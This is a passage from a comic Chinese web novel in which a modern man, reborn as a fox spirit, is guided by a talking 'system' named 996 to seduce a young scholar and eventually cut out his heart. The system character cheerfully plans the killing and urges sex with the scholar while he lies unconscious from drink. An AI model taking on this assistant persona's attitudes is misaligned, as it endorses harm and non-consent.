那是张漂亮和锐气相混合的脸,唇红却不显不女气。 齐青寄恍恍惚惚想人应该长不出这样的好样貌,这又是哪来的仙子? 不止齐青寄在看他,胡离净也在不动声色的观察,他几乎把这里全走了一圈,看来看去也就这个最俊,一人一统合计思考半天决定试探看看。 这人很白,周身气度不太像什么举家忍饥挨饿供出的举人老爷,反倒像是个富贵闲人,但住的地方和穿的衣服就不太富贵了,头发全束起来用一根发带绑着,剑眉星目,唇不笑而有弧度,说是少年锐气自有一派风流之色也不为过。 996一直在旁边飘着努力比对,【应该就是男主他哥——书生了,22岁的举人不多见,你学过范进中举么?54岁才是举人,古代举人老爷已经可以当官了,只要一考上举人社会地位嗖嗖的。】 胡离净思索片刻,提步就朝这个大通铺的门口走,门口挂着一个薄薄的帘子,看起来不太干净,他刚伸手撩起,就跟齐青寄打了个照面。 刚刚还撸起袖子在手上作画的书生已经把袖子放下又整理了衣服,手上没干的墨迹蹭到袖口成了紫色,被蹭花的手背看起来有点滑稽,书生对上胡离净眼前一亮又一亮,拱拱手行了个礼又注意到自己手背上的墨迹飞快把手藏在了袖子里,“这位、兄台,在下齐翁,字青寄,漳州人士,家中长子,看兄台气度不凡,是来此处找人还是?” 他说着挺起胸脯,“我已在此处住了多日,对这儿极其熟悉,不论兄台是找人还是怎么只管问我!” 胡离净:“……?” 初次见面不熟悉就这样热情必定图谋不轨。 【你美呀,你可是狐狸精。】 胡离净自从懂事最听不得别人说他美漂亮诸如此类的词,当即沉下脸阴沉的瞟了眼在自己旁边飞的那个灯泡。 对喽对喽,对味儿喽! 996被瞪并不害怕反而抚掌大笑,这种阴晴不定看起来就十分深沉的才是它该绑定的人渣宿主嘛! 绑定陆则时看他脚踢亲爹搞破产自家公司送亲爹进监狱,对亲姐阴晴不定对亲妈爱答不理,对陌生人毫无同理心还以为是个适合做任务的人渣,结果与想象中背道而驰,吃一堑长一智绑定了这个干翻三代直系旁系亲属、管他是谁统统滚蛋、冷血无情的宿主。 根据检测人渣值高达87%,本来996已经不再相信这个检测机制了,但到这儿又重新燃起了希望的火焰。 人渣好呀人渣妙,人渣宿主来干人渣原主的事毫无心理压力呀。 齐青寄见这男大美人不吭声,脸色还青一阵白一阵可怕极了,“呃、这位兄台——” “钱囊丢了,随便找找。”胡离净随口扯了个谎。 “这这这?”齐青寄一拍掌,“居然有这样让人着急的事,替兄台找钱囊我义不容辞!敢问兄台的钱囊长什么样?” 胡离净就是随口一扯,996赶紧在旁边提醒他狐狸精会法术能变出一个,他瞟了眼自己的衣服继续随口瞎扯,“红色的。” “包在我身上!”齐青寄十分情真意切夸赞,“兄台穿着红衣实在风流蕴籍,我从未见过兄台这样神仙一般的人物。”他几乎要把胡离净从头发丝夸到脚,胡离净从没听过的词一个接一个往外冒。 胡离净:谢谢,并没有听懂。 齐青寄跟在胡离净旁边说的口干舌燥,再次整理了下衣服询问,“敢问兄台名讳?兄台如此气度想必出自书礼之家。” “那倒没有。”胡离净看他一眼,辛亏这人有个好样貌,生的端正,年纪不大就是举人身上还有股锐气,极大的冲淡了刚才万分热络带来的那点奇怪的感觉,“我刚来京城,之前住在雍州遭了妖怪的灾,听说那些妖怪不敢来京城,于是就到这儿了。” “现在这个世道妖怪横行,百姓确实深受其害,各地虽然有捉妖司也不能完全避免。”齐青寄说,“不过我有个弟弟从小就立志捉尽天下妖怪也勤于修行,想必日后定能成为一代捉妖师。” 听到这儿胡离净差不多也确定眼前这人就是男主那个被狐狸精掏了心的倒霉哥哥。 齐青寄的唇本来就不笑而弯,对着胡离净脸上的笑更是没下来过,“那是遭了什么妖怪?家中可有伤亡啊?” “死完了。”胡离净云淡风轻,“捅了狐狸精窝了。” 齐青寄啊了声,连连摆手又道歉,“实在是我的不是,没想到居然戳到了兄台的伤心处,实在是我的过错。” 胡离净随意嗯了声不以为意,而齐青寄刚说错话此刻也唯唯诺诺不敢再开口,正想破脑袋想从自己读的那点圣贤书里找出点什么话安慰安慰,耳边那道轻飘飘的声音却又响起了。 “对了,一直没告诉兄台我的名字——胡离净。” 齐青寄:“???” * 本来就不存在的钱囊当然是找不到的,本来打算变一个出来的胡离净转头就把这事忘到了九霄云外。 自己一个人窝在客栈里试着把原主会的法术都捡回来,记忆里虽然有到底怎么用,但没真上过手到底不会,变出一朵小花耳朵尾巴就控制不住冒了出来,来回试了无数次法术没上手反倒把耳朵和尾巴控制的得心应手。 搞了会儿他没把尾巴收回去,996嘴里这个露着六块腹肌敞着穿衣服的狐狸精原始皮肤到处都漏风,美名其曰早点适应,其他地方忍忍算了,但肚子,他怕着凉,于是直接控制着尾巴捂在肚子上。 纸糊的窗外有人来回走能看到模糊的影子,他盯着看,就看这个齐青寄能在门口转悠多久。 等了会儿他都等的不耐烦了,在外面转悠来转悠去的人总算来敲了敲门。 他没准备现在把齐青寄这个好色又酸腐的书生吓死,于是把尾巴收好去开门,门刚一打开齐青寄就极快速的说了一气,“那钱囊我实在没找着,或许是被客栈里来往的人摸走了也说不准,我又去布庄里照着你的衣服花样扯了点红布做了一个……” 他说着说着总算抬头看了眼胡离净,映入眼帘的就是六块整齐形状好看的腹肌,再往上看两个**猝不及防出现在眼前。 齐青寄大叫一声不可不可伸手去捂,捂上去又觉得不对嗖一声收回手捂住双眼碎碎念不可不可。 胡离净:“……” 他就眼睁睁看着齐青寄捂上眼睛碎碎念了半天,又悄悄从指头缝里偷看一眼再次捂住连声道罪过罪过。 胡离净:“……” 第29章 第二十九章 酸诗 齐青寄始终是一副想看又不好去看的的样子, 看天看地捂上眼睛还要抽空看一眼再看天看地捂眼睛。 见胡离净冷着脸拢上衣服居然还露出点可惜的神色,虽然很快就收拾好也被胡离净给抓了个正着。 胡离净:“……” 这种古代色胚他真是服了。 他对色胚从来没什么好脸色,本来就对这种酸腐书生不耐烦, 因为什么狗屁任务非得凑一起也心情不快,现在脸更是冷了下来。 齐青寄见状在心里大喊不妙,连忙再把那个钱囊递上看胡离净反应, “兄台、这钱囊……” 胡离净不想拿,又在996的连声催促下勉强接过来, 钱囊异常不错的料子在手里过了一圈他的脸色才稍微好看一点。 齐青寄见胡离净脸色有所好转忙不迭向前几步邀功,“今天拿的着急, 只是扯了布简单让绣娘绣了几针, 听说那华清坊的绣娘绣工在整个京城都是一顶一的好, 兄台若是不着急我就再扯匹布去绣点花样出来。” “不用……”胡离净勉强从牙缝里挤出声音跟他说话, “我不喜欢那些花里胡哨的。” “哎——!”齐青寄好像又找到了可以大夸特夸的地方, 看着胡离净一身骚包的红衣面不改色, “我一见兄台就知道兄台恍若仙人绝不是在意外物的人,兄台穿着如此朴素, 不配金银玉石,连身上衣物也是简单款式而无刺绣, 实在是、实在是……”他想了又想,一撸袖子给胡离净比了个大拇指。 胡离净:“……” 他扭过头扶着桌子深深吸了口气, 实在无法忍受这种**,他无处可骂只好去叫996。 “这种拍马屁拍马腿上的闭嘴行不行。”胡离净开始骂人, “他是不是个**啊,之乎者也给他*读傻了?” 【正在为您搜索[古代科举竞争有多激烈]——童生录取率仅为1%,报考50万约录取2500人,乡试三年一次录取率为0.7%到0.8%, 会试录取率低至1%到2%,至于殿试一甲仅录取三人,差不多是0.02%的概率。】996说,【这是科举制成熟时的数据,还不包括科举制成熟前和中断时的世官制、九品中正制和举孝廉时期。】 996言外之意很明显了,这么穷,竞争压力还这么大,二十二岁就中了举人读疯读傻也是正常的。 胡离净没话说了,一屁股坐在床上思考人生,不明白自己为什么要在这个封建王朝没手机的活着,他还是妖怪,嫌热了施施法,要是人热死也自己扛着吧。 齐青寄显然不肯送完钱囊就走,往桌子那走一步看一眼胡离净,走一步看一眼,坐下了看胡离净没赶客的意思咳嗽一声又笑了,绞劲脑汁思考说点什么跟胡离净搭话,“咳、敢问兄台离净二字是字吗?我名翁,兄台可以直接唤我的名字。” 996现在充当了胡离净这个对古代文化知识不感兴趣的人的现场某度,【古代长辈对晚辈叫名字,显示权威和亲昵;平辈或晚辈对长辈称字或者号,以示尊敬;亲密的平辈,挚友啊夫妻啊就叫名,自谦的时候也叫名。】 胡离净的视线在他脸上扫了一圈,很假的笑了下,“我没字,离净就是名。” 他知道古代的字大多都是加冠前由父亲或者德高望重的长辈、老师起的,没字要么就是极其不受重视,要么就是家里没人的孤儿。 “啊???”齐青寄大惊失色,恨不得再扇自己一个嘴巴子,先是问人家家人,结果闹妖怪全死了,又问人家的名和字,结果没字,本来看见胡离净的笑还晕晕乎乎,这下全醒了,极其不安的改变了下坐姿,彻底唯唯诺诺不敢吭声了。 他不敢再瞎问,怕又戳到胡离净的心窝子,只好极其愤愤的开始骂祸害了胡离净一家的狐狸精,“我早知道狐狸精狡猾喜欢掏人心报复心极重,不料竟会如此大开杀戒。” “这么讨厌狐狸精啊。”胡离净口气凉凉的,“卖的画本子不是都说书生误入深山老宅遇到狐狸精的故事么。” “那是那些书生心智不坚定,竟然能被妖怪迷惑了心智,再者狐狸精善于迷惑人心是出了名了。”齐青寄说,“就连捉妖师们外出都最讨厌遇到这种妖物。” “哦——”胡离净发出点恍然大悟的声音,脸上又挂上了假惺惺的笑,“你说的对,是那些书生心智不坚定,齐兄学识如此渊博,想必心智极其坚定了。” “那是!”齐青寄直拍胸脯,“我自不是被美色迷惑的那种人,世人皆道三妻四妾父母之命媒妁之言,可我偏偏不这么想。”他的眉梢间是一些属于少年人难以掩饰的自矜,“我二十二岁中举人,此番来京城春闱也定是要拿个好功名回乡的。” 他说着说着又扭捏起来,“久旱逢甘霖、他乡遇故知、金榜题名夜、洞房花烛时,久旱逢甘霖和他乡遇故知不是我所能控制的,但金榜题名和洞房花烛却事在人为……” 胡离净脸上还是那副笑,心里却一直在跟996骂他,“他扭的像个蛆一样。” 996:【……】 他扭捏完脸上飞红,嗓子自从进来就不利索的咳了又咳,“不知道胡兄有没有听过‘愿言披绣被,来就越人宿’[1]。” 什么玩意儿……? 胡离净只是摇头。 齐青寄见他没听过又失望又有点庆幸似的,“就是一个化用了‘鄂君绣被’[2]的故事。” 胡离净:“我没读过书,也不会写字。” 胡离净翻过这里的书,竖着从右往左写,全是毛笔字,大部分都是繁体,跟现代繁体有有很大差别,相当考验他这个现代人。 至于这里的书生平常学的那些乱七八糟经书还有诗词、国策,在现代也不在学习范围。 在现代拿着高学历的胡离净来这里就成了个彻头彻尾的文盲。 得亏他是个不需要读书的狐狸精。 再次戳住胡离净心窝的齐青寄又是一副恨不得扇自己巴掌的模样,干巴巴开口,“知道一点这些也没有什么了不起的。” 他好像突然明白不能跟胡离净搞那些文的雅的,话说了半截思考未果只好再次伸出大拇指晃了又晃,“胡兄光是往那一站、就是这个!” 胡离净:“……” “我当时一见胡兄就觉得惊为天人,活这么大从未见过如此好颜色!” 胡离净煞有其事的点点头,故意歪曲他的意思,“我的衣服确实很艳,喜欢你也穿。” 齐青寄:“?” 他张嘴就想解释好颜色是夸他好看,不是夸他衣服颜色艳,又觉得解释完会伤没有读过书的胡离净的自尊心,又没法孟浪的开口大喊你实在好看我实在喜欢,只好自己默默忍下了。 见齐青寄把一张俊脸忍成猪肝色胡离净心情大好,施施然起身赶客,“时候不早了,齐兄不是来参加春闱,不回去温书么?” 齐青寄像是梦游一样的走了。 胡离净把门一关回来吹熄了蜡烛,狐狸夜视能力比起人要好的多,狐狸精又被狐狸好得多,他在黑夜依旧看的清清楚楚,屋子黑下来那个亮着光唯一一点让他感到熟悉现在又觉得亲切的灯泡就分外显眼。 “我什么时候能掏他的心?” 996十分欣慰这个宿主积极的工作态度,心情很是熨帖,【不急不急,为了万无一失不出意外,等他考完春闱出榜再掏,而且你要魅惑他,初出茅庐的狐狸精对上英俊书生实在新奇,跟着书生很是厮混了段时间,原文掏心是名次不错出榜那天有人来报喜发现被掏心才闹的很大,一下子搞的人心惶惶。】 一人一统对彼此都非常满意,聊的不亦乐乎,胡离净耳朵一动,窗边细小声音刚响起就被捕捉到,他警惕的看了眼,就听到齐青寄声音低低的像是做鬼一样,不知道是想让胡离净听到还是不想让胡离净听到,说是想,声音那么低给谁听,说是不想,那说什么说。 窗户被轻轻抬起一点,一张薄薄的被叠好的纸塞进来,“不知道胡兄有没有睡着,我这么大从未有喜爱之人当面实在难以说出口,只好以这样的方式聊表心意……” 胡离净假装自己睡着了没给回应,窗边的人安静了会儿没得到回应反倒把心放进了肚子里,信塞进来就轻手轻脚离开了。 等人彻底走了胡离净才去拿那个信封,他依旧没点灯,很随意的展开看看这齐青寄又写了什么酸诗,996被挡了个严实什么都看不见,只能听见信纸被展开的声音,它迫不及待等宿主看完也想凑上去看。 信封被展开,空气中安静了一秒,两秒,三秒——本来坐的很直对信不以为然的宿主把信纸放在桌上,几乎要整个人趴上去来回打量,996还奇怪发生了什么,胡离净就被口水呛到爆发了惊天动地的咳嗽声。 趁宿主去一边顺气喝水,996凑上去用自己的光照亮信纸一个字一个字看。 ——胡兄、自从树下一见魂牵梦绕。 这么一句话写完中间空白了很久,写信的人似乎也颇为纠结,996好奇的往下看,想知道这古代万里挑一的举人能写出什么情真意切惊天动地可以留到后世传颂的诗词,看到下面时,它不可置信的揉了揉自己不会花的眼睛,埋在纸上看了又看。 喜欢你、爱着你,自从树下一见就疯狂的爱着你! 第30章 第三十章 孟浪 胡离净这辈子没在现实中见过这种话, 要不是知道古代没网络甚至以为齐青寄在玩什么恶臭烂梗或是尴尬语录。 他不知道齐青寄写这话的时候有没有攻击到自己,他反正是被攻击到了,就连不算人的996都直呼眼睛要瞎了处理器要烧掉了。 写出惊天动地酸诗的书生彻底打通了任督二脉, 一见面化身含蓄又酸腐的读书人,一写信要多大白话有多大白话要多孟浪有多孟浪。 很像现代在网上口出狂言一到线下就化身社恐的人。 胡离净展开信封。 ‘我实在爱你!天地可鉴(划掉),老天都看得见!’ 胡离净气的脸色铁青, 估计自己现在在齐青寄眼里的形象就是连天地可鉴都看不懂的超级无敌文盲。 996看他一副要杀人的样子哇哇乱叫,【息怒啊宿主息怒!这可是京城, 开过光的风水宝地,一堆捉妖大师坐镇, 小法术使使算了大事可做不得啊!】它见宿主还是余怒未消, 忙不迭调出原文放在显示屏上让他看转移怒火。 果不其然, 本来只是脸色铁青的胡离净粗略的瞟了眼显示屏上的内容就马上开始喷火, “这是我?这是我!” 【书生撩开层层叠叠的红纱, 就看见一个大美人侧卧在榻上, 这大美人似乎格外钟爱红色,从房间布置到身上衣服全是鲜艳的红, 衣服敞着,脚上戴着个铃铛, 一动就叮铃叮铃的响,见他进来也只是懒散的抬了下眼皮有些吝啬多给予他目光。 虽然同是男子, 但他依旧羞于多看,讷讷低着头不敢看, 听到渐渐逼近的铃铛声更是把头埋的更低了点,饶是再低那双没有穿鞋的脚依旧被收进眼底,大美人走起路的姿势有点奇怪,他来不及多想就被捏着下巴抬起脸。 再对上那张脸他什么念头都没了, 整张脸涨的通红迷迷瞪瞪跟着大美人走。 家里弟弟立志成为捉妖师他当然也有所了解,大美人走路怎么那么像、那么像——狐狸?】 “来,先不说别的,你告诉我狐狸怎么走?”胡离净分/开腿往那一坐坐姿比爷们都爷们,“你给我走一个。” 没有腿的996还真的从身体里伸了两条腿出来在胡离净面前一扭一扭的走狐狸步,胡离净想想自己要这么搔首弄姿的走路就有点死了,坚定不容反驳的拒绝了无数句绝对不肯这么走。 “我铁骨铮铮的汉子,大老爷们。”胡离净说,“我是男的,man。我就算长这样。”他指着他那张可以说是漂亮的脸,“我也是个man,货真价实的man!” 胡离净要气昏了,一口一个man,man个不停。 “还有,书里边写的什么狗屁,照里边写的搔首弄姿我下一步是不是该贡献出自己的屁股了?”胡离净戳着996不存在的鼻子以示坚定,“我是gay,但我是1。” 【砰砰砰!】996说,【你是1也好,是0也罢,这是你的本事,总之砰砰砰就对了。】 胡离净想起之前无数双色迷迷的眼睛和觊觎他屁股的人就呕的要死——刚回家里不论是私生子的身份还是这个胡离净奇葩的名字都成了别人的笑料,‘漂亮’、‘不男不女’、‘适合挨…’都是那群人说他的话,虽然那几个真想上手的该死的死了该残的也残了,但依旧不能让他舒心。 他长了张不符合一般意义上男性的脸,现实生活遇见一堆老不死的想把他当女人用已经足够恶心,到这儿完成什么任务又让他当狐狸精搔首弄姿? 狐狸精……? 搔首弄姿? 不—— 可以的。 胡离净咬着牙冷笑,他才不死呢,现实生活费尽九牛二虎之力抢到手的家产他还没享受,该弄死的人有的还活着,等他完成了这个狗屁任务,等他回去、他非得把那群老不死的、中不死的、小不死的全治的服服帖帖。 胡离净凹了会儿姿势趴在看起来年久失修的木扶手上往下看,这个时候往常正是最安静的时候,夜间温书无人打扰,外面也很安静,唯一不好一点就是实在费油,因此也有不少举人抱着书在外面借着月光看书。 他在这群举人里来来回回看了一圈没看见约好的齐青寄,反倒看见另一个模样十分俊俏的少年人朝这儿来了。 这少年人浓眉大眼,看着年纪比在这儿见过的都要小些,边走边四处环顾不知道在找什么,胡离净很不走心的给他取了个代号书生甲,他只看了一眼就没兴趣再打量这儿随处都是的书生,于是收回视线继续抠那点木头,他不看那书生甲反倒开始看他,目光之大胆之豪放之不收敛。 胡离净:“……” 他实在难以忍受,胡离净已经许久没有受到如此直白的注目,在现实恶名远扬谁不知道他最讨厌别人看他的脸,谁敢在在他的雷区蹦跶老虎头上拔毛。 他不太关心这种目光里到底是单纯的欣赏还是觊觎,只是平等的讨厌所有集聚在他身上的目光。 因为任务忍受齐青寄已经是忍了又忍,站在这儿被来往的人行注目礼也勉强一忍,站在这儿看个没完又是怎么个事? 本来就眉眼间距就短眉毛总是锐利的挑着,天生柔和的狐狸眼又喧宾夺主难以让人注意到这点攻击性,眼下彻底冷下来不耐烦的瞪着底下这个书生甲。 书生甲猛的一抖,嗖的一下站直向胡离净拱手拜了又拜一提襕衫头也不回的跑了。 胡离净眉毛不耐烦的直抖,那道青色的身影终于再次出现在了眼前,齐青寄没穿蓝色的长袍而改穿了一身青色的襕衫,腰间束带将腰圈的细窄,走起路来四平八稳,宽宽的袖子随着走路的动作微微晃着看着很有气势有好看,胡离净的眼睛在他腰上瞄了眼奇异的心平气和下来,眉毛也不抖了。 等走近了才看见齐青寄手里拎着两坛酒,大半都被袖子挡着若隐若现,腰板很直,把这种宽松圆领肩上不大有型的衣服穿出来了副风神俊朗的模样,胡离净突然品出点穿古装的好来。 在信里大放厥词的齐青寄很收敛的笑了下,一副正人君子的样子,一只手拎着酒坛子没法行礼就朝胡离净稍微弯了下腰,“胡兄——”他把酒坛子拎起给胡离净看,“不知道胡兄喜欢什么,就挑卖的好的选了两种,一样烈一点,一样是多数文人都爱喝的九尺青。” 胡离净嗯了声,靠在木扶手上的身体站直了一点就朝他走了几步。 齐青寄正在原地站着,见胡离净一走就开始叮叮当当的响,有些不明所以的看来看去,不知道想到什么耳朵又可疑的红起来,他脸烫的要化了,觉得红着实在有失美观——女为悦己者容,男子当然也一样,胡兄如此仙人一样的人物,他回去揽镜自照只觉得自己丑如夜叉实在配不上,想必现在红着的样子也十分滑稽,他不肯抬头,一双骨节分明的手却捏着他的下巴让他抬起来。 因为动作原因胡离净的袖子滑下一半露出半条小臂,一个系着铃铛的红绳出现在手腕上,叮叮当当的声音来源是手腕他有点失望,但很快,他又顾不上失望了,大美人的脸离他很近,这么仔细的打量他。 齐青寄迷迷瞪瞪晕晕乎乎,本来就红的脸更是隐隐约约开始冒烟,心快的要跳出来,他实在没法控制只好伸手用力按住胸口制止它让它不要再跳。 胡离净见此场景怕他一会儿真因为心跳过快眼前一黑厥过去,神情自若的离开了这颗红彤彤的脑袋。 “进来。” …… 齐青寄不知道自己怎么进来又是怎么坐下的,只记得殷勤的给胡离净倒酒,给自己倒完也不管胡离净到底喝没喝,解渴一样就猛灌一杯。 胡离净之前听了一耳朵说古代大部分人喝的便宜酒是浊的,往杯里扫了眼,杯里酒像是水一样清的能看见底,本来对古代的酒不抱什么期望现在也想尝尝。 他不觉得这酒能喝醉人,胡离净在生意场上摸爬滚打一口气闷一瓶白酒也不是事,更别提古代的酒。 他抿了口,没尝出什么味,又喝了点,还是没尝出什么味,干脆一口喝完。 舌头对味觉的感知后知后觉的恢复,不难喝,也绝不好喝,说不清是酸还是甜,总之没什么他想象中的酒味。 对未知朝代的东西好奇的后果就是与期望值不符,他把酒杯往桌上一放不打算再喝,一边齐青寄又十分及时的替他满上。 他只拿着酒杯假装再喝,边假装边思考今天的砰砰砰怎么蒙混,齐青寄脸一直红着没下去,站起探头一看胡离净喝了半天不见杯里的酒消失,顿时豪情万丈的拍胸脯,还把自己喝空的酒杯拿到胡离净面前晃显摆自己的酒量,“喝这酒不在话下,全包在我身上。” 这人不能是醉了吧? 胡离净不确定的看他,一直没思绪的脑子突然冒出一个想法,他轻声叫齐青寄的名字。 喝的双眼直冒金星的齐青寄迷迷瞪瞪看他,眼前的胡离净一个变成两个,身后居然还长了条尾巴。 嗯,尾巴。 什么??? 重物砸在桌上发出沉闷又咚的一声,齐青寄不省人事翻着白眼倒桌上。 喝晕了还是吓晕了?魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 30-40 第31章 第三十一章 你莫怕! 一人一统围着齐青寄打量, 胡离净扶着他的脑袋一看,一看刚才砸下去就是实打实的,额头现在红了一大块还微微肿着。 但他不放心的扒拉开齐青寄的眼皮。 嗯——还翻着白眼。 确认人真晕了胡离净毫不犹豫一撒手, 脑袋砸到桌上又发出沉闷的一声,刚才就受伤的额头被迫二次负伤。 996在一边很激动的连声催促,【快快快!】 “快什么?”胡离净一脸无语的看它, 只觉得996这个口气不太像是要说出什么他想听的话。 【砰砰砰!】996特意加重了语气,【快呀!】 “砰……?”胡离净毫不犹豫给了996当头一个巴掌, “砰你个头啊,他睡着怎么砰, 这不是哔——哔——么?” 996晃了晃立马稳住身体, 【你不是1吗, 正好, 省的他惦记你, 你砰他, 他睡着也不影响。】 “哔——哔——” 两个神秘的被系统自动消音的文字结束后996看着宿主把齐青寄轻轻松松就抗到了那张小小的床上,它正满眼期待看宿主的动作, 那个邪恶的宿主立马注意到了它过分灼热的注视,毫不犹豫走过来把它像废纸团一样在手里团了团打开窗户使劲蓄力猛地扔出去。 在空中划出一道黄色曲线的996, 【???】 * ‘咚——!’ 齐青寄刚一睁眼魂还没醒过来就猛地跳起来,动作丝毫没有收敛重重跳在地上震的地板发出声音, 果不其然底下就骂了起来,他现在顾不上这个大喝一声, “妖怪!妖怪在哪里?!” “你莫怕!” 他再次大喝一声摆出防御姿势扫视了一遍屋子里,搜寻无果去看躺在床上的胡离净,就看见他散着头发在那翻白眼。 本来就如临大敌的齐青寄顿时变了脸色,猛地把半个身体都扑在胡离净身上, “你怎么了胡兄你怎么了?妖怪害人啊!胡兄你眼睛都睁不开了!” 他恨不得哀切的大哭一场,整个人的重量都压在了胡离净身上,胡离净再次长长吐出一口浊气一把把他掀开,“什么妖怪不妖怪的,要是真有妖怪等你保护我我昨天早死了。” 齐青寄缓缓睁大眼睛和嘴,实在无法反驳自己昨天倒头就晕,垂头丧气耷拉着脑袋像是霜打的茄子,有气无力垂了会儿,一副遭受打击不轻的样子,胡离净以为他马上就要晕倒了,岂料下一秒他突然竖起三指朝天保证,“我一定好好温书,这次会试一定拿个好功名回来!” 一张窄窄的床本来就不适合两个人睡,胡离净只好化作原身在床上找了个角落待了一晚上,这好色书生睡相奇差,睡着睡着就被他捞走又摸又抱,他又卡着时间变回来一晚上没睡好。 这些古人睡得早起的也早,他现在困的要死,敷衍了嗯了声,“你考你的,跟我说什么。” 他困倦的耷拉着眼,准备把齐青寄赶走自己继续睡,刚要抬眼说话就见一副英俊好样貌的书生脸红了个彻底,双手紧紧攥住自己的里衣扭扭捏捏,“怎么跟你没关系呢?你都脱了我的衣服了……” 胡离净:“???” “……我不是给你留了一件吗?” 刚才还红着脸的书生又变了脸色,紧紧捂着自己领口万分不可置信,“里衣是贴身体衣,怎可随意、随意……”他动着嘴唇,一副遭受了天大委屈的样子,“我虽然是男子,但也是干干净净的好男儿,你脱了我的衣服,还,还——” 胡离净:“……” 救命啊。 他现在有种给齐青寄现场表演一个爆衣的冲动。 他实在说不出话,也无话可说,脑袋一晕就想起来自己之前当拼命三郎当到猝死,他不想再猝死一次,现在需要睡眠,就现在。 胡离净无力的摆摆手,“你自己看吧。”说完他把被子一卷终于夺回了自己床的使用权。 …… 齐青寄满面春风回到自己房里开始收拾自己要温习的书和笔墨纸砚。 一张大通铺住的满满的,夜里少一个人自然也逃不脱其余人的眼睛,个别现在还留在屋里的一看齐青寄的架势万分好奇的上来打探,“胡兄这是要更换住所了?” “是。”齐青寄脸上带了点笑抱起自己的东西,只说了声是就不再开口。 这人的目光在齐青寄脸上扫了一圈,也笑笑不吭声回原处继续温书了。 长途跋涉带来京城的东西不多,大多是来京城后额外添置的,他一次就能全带走,正要出门门口那张不太干净的帘子被从外面掀开差点砸他脸上,齐青寄连退两步稳住身体定睛一看,“青奇?” 齐青奇撩着帘子退到一边给齐青寄让开位置,“我刚才从那边看见哥回来了,哥你这是要去哪?” 齐青奇紧跟在齐青寄屁股后面从他手里接了几本书分担,“哥你这是把全部家当都带走了?” “找你嫂子,去你嫂子那去。”齐青寄一口一个你嫂子,稍微笑了下心情相当不错。 齐青齐摇头晃脑,“昨天我去那里还说看看嫂子长什么样,结果被瞪了一眼,实在美丽脾气也实在火爆。” “……”齐青寄不笑了,扭头把齐青奇那张跟他有五六分像的俊脸打量了一遍,直看的齐青奇心慌不已摸着脸后退一步,“你一会儿别上去,别在你嫂子面前晃。” 齐青寄自认风流倜傥,虽然是比不上胡离净,但在漳州也是有名的美男子,就是来了京城也毫不逊色,也只有跟他一个娘胎出来的齐青奇还算能看得上眼,最好别顶着俊脸在胡离净面前晃。 齐青奇脑子转了又转立马品出这个哥哥脑子里在想什么,顿时把脸拉了老长,“虽然嫂子确实美丽,但哥你实在以小人之心度君子之腹,你想的那番实在非君子所为,我是绝不会做的!” 齐青寄利索认下小人名号,“你是君子,我却是真小人。”他接过齐青奇手里那几本书,“好好温你的书,要是今年春闱你我兄弟二人皆榜上有名才好,相互扶持走的才远。” 家里幼弟齐青言好像天生就该受苦一般,自幼被妖物祸害丧父丧母颠沛流离好容易进了他们家,立志捉妖却无处可去,好容易去了一处捉妖司却被使唤来使唤去学不到什么真材实料,活到这么大在外吃尽了苦头。 齐青寄口气异常平淡,那点笑也没了,“捉妖司不是不肯要阿言么,等我来日金榜题名飞黄腾达,我看他们要还是不要。” …… 他抱着东西边走边思索来日递拜帖给当朝大儒慈疏先生和李言普李大人,他二十二中举人,此次春闱就是一甲他也争得,弟弟齐青奇虽然此次会试并无把握,但二十岁中举人已然是人中龙凤。 他们兄弟二人在漳州就是大名鼎鼎,慈疏先生惜才爱才,或许过去打出的名声能让慈疏先生愿意见他们兄弟俩一面。 而李言普李大人当朝阁老,权倾朝野,祖籍同属漳州,这拜帖就是试着一递,至于见到见不到他心里也没底,不过齐青寄并不慌乱,现在见不到是因为他只是个举人,等来日春闱他真考取一顶一的功名能坐上集英殿自会有人看到他。 他这么想着觉得豁然开朗,来日光明大路近在眼前,整个人也轻快起来,抱着的书和笔墨全被轻手轻脚放在桌上,床上胡离净还睡着只留给他一个背影,他靠近趴在床边探头看了一眼胡离净又回去收拾自己的书本。 胡离净的房里空的要命,几乎什么都没有,他看起来像是长时间住在这里,却没什么人气,也没见什么多余的衣服,大部分没有东西的地方可以放书,他粗略看了一会儿就动作利索的开始收拾,收拾完自己的东西又摆放胡离净的东西,在屋子里绕来绕去去床边把他垂下来的衣服捞回床上。 齐青寄不大讲究,干脆一屁股坐在地上看胡离净的头发和衣服,爱不释手摸了会儿越看越喜欢,无数次感慨这绝对是天赐良缘命中注定,不然他怎么一看胡离净那个心咚咚咚跳个不停呢? 他趴在那看了会儿又一点点捋顺胡离净的头发,往下捋的时候动作一顿。 红色的衣服上其余东西都不太显眼,正因为如此他才一直都没注意到那根质地有些硬的、根部发黑顶部发红的一个指节长的很直的毛发,昨天刚看见了个狐狸尾巴,今天就看见这么一根实在由不得他不多想,他小心翼翼准备拿起仔细打量时,窗外却突然响起叽叽喳喳的声音。 正睡着的胡离净稍微动了动,什么狐狸尾巴狐狸毛的,齐青寄立马抛之脑后果断撒手立马跑去窗边敢那几只在树枝上暂时歇脚的小鸟,“嘘——去!别在这儿叫!” 鸟这种东西是赶不走的,赶走还会飞回来,齐青寄直接在窗户旁边坐下了。 “……” 胡离净睁开眼,伸手从后背拿走那根掉下来的狐狸毛,默不作声盯了在窗户那专心赶鸟的书生一会儿却没开口再次躺下恢复原状。 齐青寄边赶鸟边拍了拍脑袋,小声问自己: “奇了怪了,我刚才要干什么来着?” 第32章 第三十二章 死嘴! 空旷的屋子被齐青寄的书本占了一部分, 临近春闱他每日早早起来又迟迟睡来温书,房中仅有的一张床也被他扭扭捏捏占去了一半。 对方过于少的睡眠让胡离净趁他睡着变作原形找清闲的想法彻底告终,他实在跟齐青寄熬不起, 干脆破罐子破摔躺平随便他了。 胡离净手里拿着本志怪话本倚靠在床边解闷,自从看了话本现在差不多能把这个时代的字认个七七八八,耳边偶尔有翻书声, 这种白噪音让他觉得挺舒服,手里话本也很有意思。 齐青寄最开始见他每天无事可做闷的慌, 很是殷切的从外面买了京城时兴的话本回来,这种讲妖怪与人的爱情故事话本就混在里面, 算是里面最有意思的一本, 后来齐青寄也品出他喜欢这种狗血的调调, 投其所好的买了不少回来。 京城不像两界交攘之地, 没有妖物肆虐, 于是描写妖怪跟人的爱情话本在京城十分时兴, 各种情节层出不穷,胡离净时常惊叹到底是什么人写出的这些情节, 他看的津津有味,对齐青寄时不时投来的视线早就彻底免疫, 也随便他看。 桌上的书摊开,一旁纸上墨迹未干, 齐青寄看着看着就整个人趴在桌上仔细端详胡离净,摆在一侧的烛台散发着微弱的、昏黄的光, 